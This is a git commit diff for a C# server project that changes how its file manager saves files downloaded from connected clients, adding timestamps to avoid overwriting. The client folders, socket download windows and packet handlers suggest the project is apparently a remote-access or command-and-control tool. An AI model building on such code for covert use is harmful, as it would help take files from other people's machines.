File Manager - Overwrites a different file with same name.
This commit is contained in:
parent
7bb9f02b71
commit
85c3f6b674
@ -26,7 +26,7 @@ namespace Server.Forms
|
|||||||
public string FullFileName;
|
public string FullFileName;
|
||||||
public string ClientFullFileName;
|
public string ClientFullFileName;
|
||||||
private bool IsUpload = false;
|
private bool IsUpload = false;
|
||||||
|
public string DirPath;
|
||||||
public FormDownloadFile()
|
public FormDownloadFile()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
|
@ -101,7 +101,9 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
Name = "socketDownload:" + dwid,
|
Name = "socketDownload:" + dwid,
|
||||||
Text = "socketDownload:" + Client.ID,
|
Text = "socketDownload:" + Client.ID,
|
||||||
F = F
|
F = F,
|
||||||
|
DirPath = FullPath
|
||||||
|
|
||||||
};
|
};
|
||||||
SD.Show();
|
SD.Show();
|
||||||
}
|
}
|
||||||
|
@ -150,15 +150,16 @@ namespace Server.Handle_Packet
|
|||||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||||
if (SD != null)
|
if (SD != null)
|
||||||
{
|
{
|
||||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
if (!Directory.Exists(SD.DirPath))
|
||||||
return;
|
return;
|
||||||
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
|
string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||||
if (File.Exists(filename))
|
string dirPath = SD.DirPath;
|
||||||
|
if (File.Exists(dirPath + "\\" + fileName))
|
||||||
{
|
{
|
||||||
File.Delete(filename);
|
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
|
||||||
await Task.Delay(500);
|
await Task.Delay(100);
|
||||||
}
|
}
|
||||||
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename));
|
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
|
||||||
SD.Close();
|
SD.Close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user